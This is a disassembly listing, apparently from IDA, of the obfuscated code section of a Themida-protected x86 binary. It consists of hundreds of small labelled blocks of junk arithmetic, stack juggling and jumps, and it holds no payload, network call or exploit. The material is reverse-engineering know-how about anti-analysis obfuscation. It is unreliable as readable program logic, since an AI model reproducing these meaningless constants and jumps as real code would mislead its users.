loc_5AD189:				; CODE XREF: Themida_:0059BAC0j
		add	esp, 4
		push	eax
		jmp	loc_598DA6
; ---------------------------------------------------------------------------


loc_5AD195:				; CODE XREF: Themida_:005AEEACj
		sub	ebx, 512F3119h
		add	ebx, 542E4D11h
		add	ebx, 157B8A4Bh
		jmp	loc_5AC740
; ---------------------------------------------------------------------------


loc_5AD1AC:				; CODE XREF: Themida_:005AE001j
		xor	[esp], edi
		jmp	loc_5AB156
; ---------------------------------------------------------------------------


loc_5AD1B4:				; CODE XREF: Themida_:005A56BAj
		sub	ebp, 8822E0Ch
		jmp	loc_5999B6
; ---------------------------------------------------------------------------


loc_5AD1BF:				; CODE XREF: Themida_:005ABAD3j
		add	ecx, 2824304h
		mov	edx, ecx
		jmp	loc_5A7394
; ---------------------------------------------------------------------------


loc_5AD1CC:				; CODE XREF: Themida_:0059A0B2j
		or	edx, 586947F5h
		sub	edx, 1BBD73D3h
		xor	edx, 0FF4F564Fh
		sub	ebp, edx
		pop	edx
		jmp	loc_59C530
; ---------------------------------------------------------------------------


loc_5AD1E6:				; CODE XREF: Themida_:005A05BCj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5ACACD
; ---------------------------------------------------------------------------


loc_5AD1FB:				; CODE XREF: Themida_:0059B14Cj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	ecx, edi
		push	dword ptr [esp]
		jmp	loc_5A650A
; ---------------------------------------------------------------------------


loc_5AD20C:				; CODE XREF: Themida_:005A3A4Ej
		add	esp, 4
		push	ebx
		push	0A0Bh
		jmp	loc_59C9EA
; ---------------------------------------------------------------------------


loc_5AD21D:				; CODE XREF: Themida_:0059E800j
		push	edi
		push	esp
		jmp	loc_5A1D4F
; ---------------------------------------------------------------------------


loc_5AD224:				; CODE XREF: Themida_:0059C6FFj
		mov	edi, 5A746C19h
		sub	edx, edi
		jmp	loc_5A3CC6
; ---------------------------------------------------------------------------


loc_5AD230:				; CODE XREF: Themida_:005A8E16j
		mov	eax, ebx
		pop	ebx
		sub	esi, eax
		jmp	loc_5AC758
; ---------------------------------------------------------------------------


loc_5AD23A:				; CODE XREF: Themida_:005A1DB3j
		xchg	edx, ecx
		jmp	loc_5A56D3
; ---------------------------------------------------------------------------


loc_5AD241:				; CODE XREF: Themida_:005A076Ej
		sub	ebx, 0EB647CEh
		jmp	loc_5A3F4B
; ---------------------------------------------------------------------------


loc_5AD24C:				; CODE XREF: Themida_:005AF81Ej
		pop	edx
		push	ebx
		mov	bl, ah
		jmp	loc_5A2902
; ---------------------------------------------------------------------------


loc_5AD255:				; CODE XREF: Themida_:0059B316j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5A0C02
; ---------------------------------------------------------------------------


loc_5AD26B:				; CODE XREF: Themida_:005A763Fj
		pop	edx
		sub	ebp, 4D883C50h
		add	ebp, 3246068Dh
		shr	ebp, 4
		jmp	loc_59D004
; ---------------------------------------------------------------------------


loc_5AD280:				; CODE XREF: Themida_:00599643j
		js	loc_5A8903
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5F3B31CAh
		shl	eax, 1


loc_5AD293:				; CODE XREF: Themida_:005A3B9Aj
		mov	[esp], ebx
		jmp	loc_59BC5D
; ---------------------------------------------------------------------------


loc_5AD29B:				; CODE XREF: Themida_:005A106Fj
		add	esp, 2
		add	bl, ch
		push	edx
		mov	dl, 0BEh
		add	bl, dl
		pop	edx
		push	ecx
		jmp	loc_5AE353
; ---------------------------------------------------------------------------


loc_5AD2AF:				; CODE XREF: Themida_:00598D64j
		shr	edi, 5
		add	edi, 0FDFDDD56h
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 7F6D0D47h
		shl	ebp, 6
		neg	ebp
		jmp	loc_5A8C7E
; ---------------------------------------------------------------------------


loc_5AD2D4:				; CODE XREF: Themida_:005A29E2j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	edx
		push	4
		pop	edx
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A37F4
; ---------------------------------------------------------------------------


loc_5AD2F4:				; CODE XREF: Themida_:005A3744j
		pop	ebx
		jmp	loc_5A0473
; ---------------------------------------------------------------------------


loc_5AD2FA:				; CODE XREF: Themida_:005AF350j
		inc	ecx
		xchg	ecx, edx
		not	edx
		push	esi
		mov	esi, 2EA48806h
		add	edx, esi
		jmp	loc_5AE4C7
; ---------------------------------------------------------------------------


loc_5AD30C:				; CODE XREF: Themida_:005A772Ej
		pop	ebx
		push	dx
		jmp	loc_5A3FC3
; ---------------------------------------------------------------------------


loc_5AD314:				; CODE XREF: Themida_:005ABE6Dj
		mov	[esp], eax
		mov	eax, 3F5C497Ch
		neg	eax
		jns	loc_5AA0E7
		jmp	loc_5AA7AE
; ---------------------------------------------------------------------------


loc_5AD329:				; CODE XREF: Themida_:005A77CFj
		xor	edx, 463A3169h
		jle	loc_5A0214
		add	edx, 4DB90B57h
		jz	loc_59D9CE
		jmp	loc_5A7F99
; ---------------------------------------------------------------------------


loc_5AD346:				; CODE XREF: Themida_:005A84A2j
		push	561Fh
		mov	[esp], ebp
		mov	ebp, 5AA7463Eh
		sub	ebp, 35E33003h
		jnz	loc_59FBFB
		dec	ebp
		jl	loc_5A9930
		neg	ebp
		push	ebx


loc_5AD369:				; CODE XREF: Themida_:005A3393j
					; Themida_:005AE559j
		pop	esp
		add	edi, 4
		push	4A5Eh
		mov	[esp], ebp
		push	2
		pop	ebp
		add	edi, 5A533ED3h
		jmp	loc_5A6D3B
; ---------------------------------------------------------------------------


loc_5AD389:				; CODE XREF: Themida_:005AD3D4j
		sub	ebp, 3D661A35h
		mov	edi, ebp
		pop	ebp
		xor	edi, ecx
		push	dword ptr [esp]
		jmp	loc_5A10CB
; ---------------------------------------------------------------------------


loc_5AD39C:				; CODE XREF: Themida_:0059C4F8j
		xor	ecx, 3CD15AE0h
		or	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 95B64CEh
		shr	ebx, 1
		shl	ebx, 2
		jmp	loc_5A076D
; ---------------------------------------------------------------------------


loc_5AD3B5:				; CODE XREF: Themida_:005AC0DDj
		push	edi
		jmp	loc_5A4C6B
; ---------------------------------------------------------------------------


loc_5AD3BB:				; CODE XREF: Themida_:005A58F2j
		pop	ecx
		push	74D4h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5A7445
; ---------------------------------------------------------------------------


loc_5AD3CE:				; CODE XREF: Themida_:005A54E7j
		add	ebp, 7DFF47B2h
		jo	loc_5AD389
		sub	ebp, 3D661A35h
		mov	edi, ebp
		pop	ebp
		xor	edi, ecx
		pop	ecx


loc_5AD3E6:				; CODE XREF: Themida_:0059D98Bj
		push	esp
		mov	edi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_59CFE5
; ---------------------------------------------------------------------------


loc_5AD3F8:				; CODE XREF: Themida_:0059DA59j
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A2602
; ---------------------------------------------------------------------------


loc_5AD403:				; CODE XREF: Themida_:005A4148j
		push	ebx
		mov	ebx, 4D786F1Eh
		xor	ebx, 29D20416h
		sub	edx, 2FEB2CE9h
		sub	edx, ebx
		push	ebp
		mov	ebp, 4141565h
		jmp	loc_5A7F40
; ---------------------------------------------------------------------------


loc_5AD422:				; CODE XREF: Themida_:005A40E2j
		add	esp, 4
		push	ebp
		mov	ebp, 408D6064h
		jmp	loc_59CDF2
; ---------------------------------------------------------------------------


loc_5AD430:				; CODE XREF: Themida_:005ACC04j
		jmp	loc_59CE4E
; ---------------------------------------------------------------------------


loc_5AD435:				; CODE XREF: Themida_:005A9EA2j
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_59B93C
; ---------------------------------------------------------------------------


loc_5AD440:				; CODE XREF: Themida_:005AA4AAj
		shl	ebx, 4
		jmp	loc_5A05D2
; ---------------------------------------------------------------------------


loc_5AD448:				; DATA XREF: Themida_:005987E4o
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	esi
		push	edx
		mov	edx, 711A0330h
		sub	edx, 4FB92A6h
		mov	esi, edx
		jmp	loc_5A3331
; ---------------------------------------------------------------------------


loc_5AD46B:				; CODE XREF: Themida_:005A5E51j
		neg	eax
		sub	eax, 11F7667Ch
		xor	eax, 9DCEA64Fh
		mov	edi, eax
		jmp	loc_59CE34
; ---------------------------------------------------------------------------


loc_5AD47E:				; CODE XREF: Themida_:005AFC9Dj
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	ax, [esp]
		push	esi
		sub	esp, 4
		jmp	loc_5AEA34
; ---------------------------------------------------------------------------


loc_5AD49B:				; CODE XREF: Themida_:005AA340j
		mov	ebp, 2
		add	ebx, 360B6A0Fh
		add	ebx, ebp
		sub	ebx, 360B6A0Fh
		jmp	loc_5A5C64
; ---------------------------------------------------------------------------


loc_5AD4B3:				; CODE XREF: Themida_:005A7260j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	al, ch
		pop	ecx
		jmp	loc_5A6EC6
; ---------------------------------------------------------------------------


loc_5AD4CB:				; CODE XREF: Themida_:005AA84Fj
		push	eax
		mov	eax, 0D855020h
		neg	eax
		inc	eax
		jmp	loc_5A4898
; ---------------------------------------------------------------------------


loc_5AD4D9:				; CODE XREF: Themida_:005A90C0j
		mov	edx, [esp]
		jmp	loc_5A560F
; ---------------------------------------------------------------------------


loc_5AD4E1:				; CODE XREF: Themida_:005A1677j
		add	esp, 4
		sub	eax, 3C5940B7h
		sub	eax, 685B7E5Ch
		sub	eax, 38B52EF3h
		add	eax, ecx
		jmp	loc_59CC80
; ---------------------------------------------------------------------------


loc_5AD4FA:				; CODE XREF: Themida_:005AD97Dj
		xchg	ebx, [esp]
		jmp	loc_5A2467
; ---------------------------------------------------------------------------


loc_5AD502:				; CODE XREF: Themida_:005A3A60j
		pop	ebp
		push	ebp
		jmp	loc_59A6F4
; ---------------------------------------------------------------------------


loc_5AD509:				; CODE XREF: Themida_:0059F745j
		jz	loc_599D40
		sub	edx, 80627CB6h
		jmp	loc_5A2AB2
; ---------------------------------------------------------------------------


loc_5AD51A:				; CODE XREF: Themida_:loc_59CC03j
					; Themida_:0059F984j ...
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5AC62E
; ---------------------------------------------------------------------------


loc_5AD527:				; CODE XREF: Themida_:005A8C16j
		pop	ecx
		shr	edx, 6
		jmp	loc_5A74E3
; ---------------------------------------------------------------------------


loc_5AD530:				; CODE XREF: Themida_:005A0F4Bj
		add	edi, 4F71083Ch
		add	edi, ebx
		push	eax
		mov	eax, 0B0C5301h
		jmp	loc_59AE7B
; ---------------------------------------------------------------------------


loc_5AD543:				; CODE XREF: Themida_:005A76CCj
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	esi
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_59B68D
; ---------------------------------------------------------------------------


loc_5AD571:				; CODE XREF: Themida_:005A9BECj
		or	edi, 183F156Dh
		jmp	loc_5A1127
; ---------------------------------------------------------------------------


loc_5AD57C:				; CODE XREF: Themida_:005AC927j
		not	ebp
		inc	ebp
		xor	ebp, 48BB58DCh
		add	ebp, 0E47427C3h
		or	eax, ebp
		jmp	loc_59CC56
; ---------------------------------------------------------------------------


loc_5AD592:				; CODE XREF: Themida_:005AC340j
		sub	ebx, ecx
		mov	ecx, ebx
		pop	ebx
		jmp	loc_59B9AA
; ---------------------------------------------------------------------------


loc_5AD59C:				; CODE XREF: Themida_:0059EB16j
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5A4D5D
; ---------------------------------------------------------------------------


loc_5AD5AA:				; CODE XREF: Themida_:0059E5BDj
		xchg	edi, ecx
		push	ebx
		mov	ebx, 4A416A0Eh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 136B5C68h
		jmp	loc_5A3B86
; ---------------------------------------------------------------------------


loc_5AD5C5:				; CODE XREF: Themida_:005A000Aj
		pop	edi
		push	4C0Bh
		mov	[esp], edx
		push	ecx
		mov	ecx, 30532403h
		mov	edx, ecx
		jmp	loc_5AA3BD
; ---------------------------------------------------------------------------


loc_5AD5DB:				; CODE XREF: Themida_:005AE084j
		mov	esi, 49F9726Ah
		and	esi, 532F0A6Ch
		jmp	loc_5A324A
; ---------------------------------------------------------------------------


loc_5AD5EB:				; CODE XREF: Themida_:005A64BEj
		mov	ecx, 4
		sub	ebx, ecx
		jmp	loc_5A90C5
; ---------------------------------------------------------------------------


loc_5AD5F7:				; CODE XREF: Themida_:0059F0CBj
		mov	ch, 2Ch
		push	dx
		mov	dl, 3Bh
		jmp	loc_59AB23
; ---------------------------------------------------------------------------
		push	ecx
		push	esi
		push	5A531FEAh
		pop	esi
		xor	esi, 7ADA61FCh
		jnz	loc_5ACE90
		xor	esi, 20897E2Ah
		mov	ecx, esi
		pop	esi
		push	ebx


loc_5AD620:				; CODE XREF: Themida_:005A378Dj
		sub	esp, 2
		mov	[esp], dx
		mov	dh, 75h
		add	al, 0B0h
		add	al, dh
		sub	al, 0B0h
		mov	dx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_59E15B
; ---------------------------------------------------------------------------


loc_5AD63B:				; CODE XREF: Themida_:0059C793j
		not	ebx
		push	esi
		mov	esi, 740E4F9Dh
		push	ecx
		mov	ecx, 5AA95B05h
		sub	ecx, 5A82370Eh
		dec	ecx
		jmp	loc_5A92C2
; ---------------------------------------------------------------------------


loc_5AD655:				; CODE XREF: Themida_:005AA887j
		pop	ebx
		jmp	loc_5AF5C5
; ---------------------------------------------------------------------------


loc_5AD65B:				; CODE XREF: Themida_:005A5911j
					; Themida_:005A6AD4j
		sub	ebx, 2132508Dh
		xor	eax, ebx
		pop	ebx
		add	edi, eax
		pop	eax
		pop	ebx
		xor	edi, [esp]
		jmp	loc_5A2C81
; ---------------------------------------------------------------------------


loc_5AD670:				; CODE XREF: Themida_:0059E446j
		push	ebp
		dec	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2DCC5386h
		sub	ebp, esi
		pop	esi
		xor	ebp, 0F5015C9Eh
		jmp	loc_59C8D1
; ---------------------------------------------------------------------------


loc_5AD691:				; CODE XREF: Themida_:005A5AD4j
		push	esi
		jmp	loc_5A0352
; ---------------------------------------------------------------------------


loc_5AD697:				; CODE XREF: Themida_:0059F011j
		push	esi
		push	ecx
		push	0AD16FC6h
		pop	ecx
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		push	edi
		push	3E367909h
		pop	edi
		add	ecx, edi
		pop	edi
		xor	ecx, 33650946h
		mov	esi, ecx
		pop	ecx
		add	ebx, esi
		jmp	loc_5A8DCD
; ---------------------------------------------------------------------------


loc_5AD6BF:				; CODE XREF: Themida_:0059E462j
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_59B989
; ---------------------------------------------------------------------------


loc_5AD6CB:				; CODE XREF: Themida_:0059ACBBj
		xor	ebx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 1EA44073h
		add	eax, edi
		pop	edi
		push	dword ptr [edi+eax*4]
		push	ebp
		mov	ebp, 3CA10E9Fh
		add	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5A308C
; ---------------------------------------------------------------------------


loc_5AD6F0:				; CODE XREF: Themida_:005A11CEj
		or	bl, 9Ch
		jmp	loc_59FC2A
; ---------------------------------------------------------------------------


loc_5AD6F8:				; CODE XREF: Themida_:005A738Fj
		not	esi
		sub	esi, 0FFFFFFFFh
		xor	esi, 7E4F3B9Ah
		push	eax
		mov	eax, 977BB76Bh
		sub	esi, eax
		pop	eax
		sub	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5A647C
; ---------------------------------------------------------------------------


loc_5AD723:				; CODE XREF: Themida_:0059A39Ej
		push	esp
		pop	dword ptr [esp]
		push	373h
		mov	[esp], eax
		mov	eax, 4
		add	dword ptr [esp+4], 413F0848h
		jmp	loc_5A0A88
; ---------------------------------------------------------------------------


loc_5AD741:				; CODE XREF: Themida_:005A1791j
		xor	[esp], eax
		jmp	loc_5AC07F
; ---------------------------------------------------------------------------


loc_5AD749:				; CODE XREF: Themida_:0059A15Bj
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5AC9AC
; ---------------------------------------------------------------------------


loc_5AD769:				; CODE XREF: Themida_:005AA6C6j
		push	567Dh
		mov	[esp], edx
		mov	edx, 4
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AA2CA
; ---------------------------------------------------------------------------


loc_5AD785:				; CODE XREF: Themida_:0059E88Fj
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5A5ED0
; ---------------------------------------------------------------------------


loc_5AD790:				; CODE XREF: Themida_:005A91F7j
		sub	ebp, 9D05EFA0h
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5A047D
; ---------------------------------------------------------------------------


loc_5AD7A0:				; CODE XREF: Themida_:0059D2A6j
		pop	eax
		xor	edx, [esp]
		jmp	loc_5AA578
; ---------------------------------------------------------------------------


loc_5AD7A9:				; CODE XREF: Themida_:005A62B2j
		mov	[esp], ebx
		mov	ebx, 101A4180h
		xor	ebx, 16435705h
		jmp	loc_5AB9AC
; ---------------------------------------------------------------------------


loc_5AD7BC:				; CODE XREF: Themida_:005A33D0j
		sub	ebx, 6BAAC20h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5A4E89
; ---------------------------------------------------------------------------


loc_5AD7CA:				; CODE XREF: Themida_:005A0A6Cj
					; Themida_:005A5B7Aj
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 53A266ADh
		jmp	loc_5A552A
; ---------------------------------------------------------------------------


loc_5AD7D9:				; CODE XREF: Themida_:005A59BBj
		mov	esi, 411B2AE6h
		or	ebp, esi
		pop	esi
		not	ebp
		jmp	loc_59D72F
; ---------------------------------------------------------------------------


loc_5AD7E8:				; CODE XREF: Themida_:005AC5BCj
		mov	ah, bl
		jmp	loc_5A2118
; ---------------------------------------------------------------------------


loc_5AD7EF:				; CODE XREF: Themida_:005A1252j
					; Themida_:005AF2B9j
		push	bx
		mov	bl, 5Fh
		jmp	loc_5A54F3
; ---------------------------------------------------------------------------


loc_5AD7F8:				; CODE XREF: Themida_:0059DD25j
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_59DC69
; ---------------------------------------------------------------------------


loc_5AD802:				; CODE XREF: Themida_:0059EE15j
		xor	dx, di
		not	di
		xchg	di, dx
		jmp	loc_5A9A95
; ---------------------------------------------------------------------------


loc_5AD810:				; CODE XREF: Themida_:00599075j
		or	ebx, 7CB30D8Fh
		and	ebx, 65716617h
		jbe	loc_5A3B5C
		xor	ebx, 21165EC7h
		shl	ebx, 2
		and	ebx, 6DFA67ABh
		neg	ebx
		shr	ebx, 6
		not	ebx
		push	ecx
		mov	ecx, 72FF4556h
		jmp	loc_5A3D17
; ---------------------------------------------------------------------------


loc_5AD843:				; CODE XREF: Themida_:005A2712j
		mov	dl, 12h
		xor	dl, 0F3h
		mov	cl, dl
		pop	edx
		inc	cl
		jmp	loc_59EEC3
; ---------------------------------------------------------------------------


loc_5AD852:				; CODE XREF: Themida_:loc_59957Cj
		push	ecx
		push	ebp
		mov	ebp, 4BE772F3h
		mov	ecx, ebp
		pop	ebp
		and	edx, ecx
		jmp	loc_5A16FF
; ---------------------------------------------------------------------------


loc_5AD863:				; CODE XREF: Themida_:005A516Ej
		mov	edx, 2
		push	1EECh
		mov	[esp], ecx
		jmp	loc_5A20BB
; ---------------------------------------------------------------------------


loc_5AD875:				; CODE XREF: Themida_:005A1E4Cj
		shr	edi, 8
		jmp	loc_59BE59
; ---------------------------------------------------------------------------


loc_5AD87D:				; CODE XREF: Themida_:005A9AE9j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	34EBh
		mov	[esp], edi
		push	1568162Eh
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A812E
; ---------------------------------------------------------------------------


loc_5AD8A4:				; CODE XREF: Themida_:0059A83Ej
		pop	ebp
		sub	edx, 8B327Ch
		add	edx, edi
		jmp	loc_59F491
; ---------------------------------------------------------------------------


loc_5AD8B2:				; CODE XREF: Themida_:005AA839j
		not	edi
		or	edi, 353B5EBBh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5AEAE0
; ---------------------------------------------------------------------------


loc_5AD8C8:				; CODE XREF: Themida_:005991F0j
					; Themida_:00599D18j
		sub	edx, eax
		push	eax
		jmp	loc_5A52D2
; ---------------------------------------------------------------------------


loc_5AD8D0:				; CODE XREF: Themida_:005A5696j
		mov	ebp, [esp]
		jmp	loc_5A7AE5
; ---------------------------------------------------------------------------


loc_5AD8D8:				; CODE XREF: Themida_:005AC9A7j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A6848
; ---------------------------------------------------------------------------


loc_5AD8ED:				; CODE XREF: Themida_:005AF7B1j
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		sub	ebx, 0EB10760h
		jmp	loc_5A64B4
; ---------------------------------------------------------------------------


loc_5AD900:				; CODE XREF: Themida_:005AF453j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AD905:				; CODE XREF: Themida_:005A75D5j
		not	ebx
		jmp	loc_5AAA15
; ---------------------------------------------------------------------------


loc_5AD90C:				; CODE XREF: Themida_:005A7063j
		mov	ebx, 1F957E00h
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, edx
		push	edx
		mov	edx, 1F957E00h
		sub	edi, edx
		pop	edx
		pop	edx
		neg	edi
		jns	loc_5A6587
		neg	edi
		jmp	loc_59C69F
; ---------------------------------------------------------------------------


loc_5AD937:				; CODE XREF: Themida_:005A231Aj
		push	505Ah
		mov	[esp], eax
		mov	eax, 4
		add	dword ptr [esp+4], 29E74AF3h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 29E74AF3h
		jmp	loc_59D4D4
; ---------------------------------------------------------------------------


loc_5AD95D:				; CODE XREF: Themida_:005A6F61j
		push	ebx
		mov	ebx, esp
		push	1C7Ah
		jmp	loc_59D485
; ---------------------------------------------------------------------------


loc_5AD96A:				; CODE XREF: Themida_:005AB21Cj
		xor	edx, esi
		pop	esi
		not	edx
		jmp	loc_59B459
; ---------------------------------------------------------------------------


loc_5AD974:				; CODE XREF: Themida_:005A1BA5j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5AD4FA
; ---------------------------------------------------------------------------


loc_5AD982:				; CODE XREF: Themida_:0059E07Ej
		jle	loc_5AE0CA
		or	edx, 70C40D50h
		jnz	loc_5A06B0
		add	edx, 0C92032E3h
		jmp	loc_5A2C1A
; ---------------------------------------------------------------------------
		pop	edx


loc_5AD9A0:				; CODE XREF: Themida_:005AF524j
		jnp	loc_5A1C88
		jmp	loc_59CF81
; ---------------------------------------------------------------------------


loc_5AD9AB:				; CODE XREF: Themida_:0059BFFDj
		shl	eax, 7
		jmp	loc_5A8579
; ---------------------------------------------------------------------------


loc_5AD9B3:				; CODE XREF: Themida_:005A8375j
		add	ebp, 54317433h
		shr	ebp, 2
		jp	loc_5A54E1
		and	ebp, 2F0D1201h
		jmp	loc_59FDD6
; ---------------------------------------------------------------------------
		mov	ebx, edx
		xor	al, 0A0h


loc_5AD9D1:				; CODE XREF: Themida_:005A9C0Fj
		pop	edi
		jmp	loc_5AB4E0
; ---------------------------------------------------------------------------


loc_5AD9D7:				; CODE XREF: Themida_:005A7969j
		jmp	loc_59EF87
; ---------------------------------------------------------------------------


loc_5AD9DC:				; CODE XREF: Themida_:00599D30j
		inc	dh
		xor	dh, 23h
		xor	al, dh
		mov	edx, [esp]
		jmp	loc_59E813
; ---------------------------------------------------------------------------


loc_5AD9EB:				; CODE XREF: Themida_:0059A211j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59C317
; ---------------------------------------------------------------------------


loc_5ADA0C:				; CODE XREF: Themida_:005AED38j
		push	393B6BD3h
		pop	esi
		push	ecx
		mov	ecx, 15E71FE4h
		add	ecx, 1C7A7077h
		inc	ecx
		push	0
		sub	[esp], ecx
		jmp	loc_5A5C4B
; ---------------------------------------------------------------------------


loc_5ADA2C:				; CODE XREF: Themida_:0059A5BEj
		pop	ecx
		add	esp, 4
		push	3815h
		mov	[esp], edi
		mov	edi, 12924B27h
		push	ebx
		mov	ebx, 12924B23h
		xor	edi, ebx
		jmp	loc_5AEFF4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	426Bh
		jmp	loc_5A7D9A
; ---------------------------------------------------------------------------


loc_5ADA61:				; CODE XREF: Themida_:0059AAC0j
		pop	ax
		push	bx
		mov	bh, 4Bh
		jmp	loc_5A42EC
; ---------------------------------------------------------------------------


loc_5ADA6C:				; CODE XREF: Themida_:0059F18Aj
		shr	ebp, 8
		jmp	loc_5AC571
; ---------------------------------------------------------------------------


loc_5ADA74:				; CODE XREF: Themida_:0059DF3Ej
		sub	esp, 4
		mov	[esp], ecx
		push	308D7E00h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, 2AA04B8Ch
		sub	eax, 29820B73h
		jmp	loc_59C1A7
; ---------------------------------------------------------------------------


loc_5ADA98:				; CODE XREF: Themida_:0059F6F5j
		add	esp, 4
		push	4E96h
		mov	[esp], edi
		mov	edi, 7830488Dh
		and	edi, 0A5D0A11h
		jmp	loc_59FA83
; ---------------------------------------------------------------------------


loc_5ADAB6:				; CODE XREF: Themida_:005AEDE2j
		pop	edx
		jmp	loc_59ED9A
; ---------------------------------------------------------------------------


loc_5ADABC:				; CODE XREF: Themida_:0059E8ACj
		push	eax
		mov	eax, 44586D0Bh
		and	ebx, eax
		pop	eax
		push	edi
		mov	edi, 5DA41276h
		not	edi
		jmp	loc_5AA07A
; ---------------------------------------------------------------------------


loc_5ADAD2:				; CODE XREF: Themida_:005A2AE5j
					; Themida_:005A77DBj
		shl	dl, 6
		add	dl, 0C7h
		shr	dl, 3
		add	dl, 14h
		xor	cl, dl
		jmp	loc_59FF72
; ---------------------------------------------------------------------------


loc_5ADAE5:				; CODE XREF: Themida_:005A22B7j
		xchg	ch, al
		neg	ch
		xchg	ch, al
		push	edx
		mov	dl, 8Ah
		jmp	loc_59CEE0
; ---------------------------------------------------------------------------


loc_5ADAF3:				; CODE XREF: Themida_:0059D904j
		shl	esi, 7
		jmp	loc_59A79C
; ---------------------------------------------------------------------------


loc_5ADAFB:				; CODE XREF: Themida_:0059EA68j
		mov	[esp], ecx
		push	esp
		jmp	loc_5A3E0F
; ---------------------------------------------------------------------------


loc_5ADB04:				; CODE XREF: Themida_:005A1B19j
		add	edx, 5BE716B3h
		add	edx, 6F29057Ch
		jl	loc_59BECF
		push	1F92h
		mov	[esp], edi
		mov	edi, 47195A3Eh
		xor	edx, edi
		jmp	loc_59CBC5
; ---------------------------------------------------------------------------


loc_5ADB2A:				; CODE XREF: Themida_:005A470Ej
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5A23D5
; ---------------------------------------------------------------------------


loc_5ADB42:				; CODE XREF: Themida_:0059F0F4j
		sub	edx, eax
		jmp	loc_5AEDCF
; ---------------------------------------------------------------------------


loc_5ADB49:				; CODE XREF: Themida_:005A9DC1j
		shr	ebx, 6
		jmp	loc_59C7E6
; ---------------------------------------------------------------------------


loc_5ADB51:				; CODE XREF: Themida_:0059E52Dj
		inc	ebx
		neg	ebx
		sub	ebx, 0ACDD57AFh
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5A72AF
; ---------------------------------------------------------------------------


loc_5ADB64:				; CODE XREF: Themida_:0059E94Bj
		add	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 0E3C32C6h
		shl	edx, 2
		add	edx, 5C9648A8h
		sub	edx, 2E107DAAh
		and	edx, 109324D1h
		and	edx, 54877ACDh
		xor	edx, 478232E8h
		or	ebx, edx
		pop	edx
		add	ebx, 2E198CDh
		jmp	loc_5A83F6
; ---------------------------------------------------------------------------


loc_5ADB9C:				; CODE XREF: Themida_:005A6589j
		jns	loc_5A4B77
		jmp	loc_59A550
; ---------------------------------------------------------------------------
		sub	ebx, 438A433Bh
		shr	ebx, 2


loc_5ADBB0:				; CODE XREF: Themida_:0059D87Aj
		push	eax
		mov	eax, 42D46CC8h
		not	eax
		jmp	loc_5AB347
; ---------------------------------------------------------------------------


loc_5ADBBD:				; CODE XREF: Themida_:005A0444j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		push	edi
